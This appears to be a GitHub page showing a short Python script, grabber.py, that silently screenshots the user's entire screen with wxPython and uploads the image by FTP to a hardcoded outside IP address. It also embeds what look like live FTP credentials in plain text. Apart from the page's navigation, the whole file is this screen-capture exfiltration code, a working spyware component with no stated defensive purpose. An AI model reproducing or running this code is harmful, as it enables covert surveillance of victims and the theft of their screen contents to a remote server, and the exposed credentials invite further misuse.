-
Notifications
You must be signed in to change notification settings - Fork 0
/
grabber.py
29 lines (24 loc) · 630 Bytes
/
grabber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
import os
import wx
import ftplib
# if len(sys.argv) < 2:
# print("Usage: " + sys.argv[0] + " <url>")
# sys.exit(1)
w = wx.App()
screen = wx.ScreenDC()
size = screen.GetSize()
bmap = wx.Bitmap(size[0],size[1])
memo = wx.MemoryDC(bmap)
memo.Blit(0,0,size[0],size[1],screen,0,0)
del memo
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)
# Tranfer over FTP
ftp_host = '35.209.241.59'
ftp_user = '[email protected]'
ftp_pass = 'eUj8GeW55SvYaswqUyDSm5v6N'
sess_ = ftplib.FTP(ftp_host,ftp_user,ftp_pass)
file_ = open("grabbed.png", "rb")
sess_.storbinary("STOR /grabbed.png", file_)
file_.close()
sess_.quit()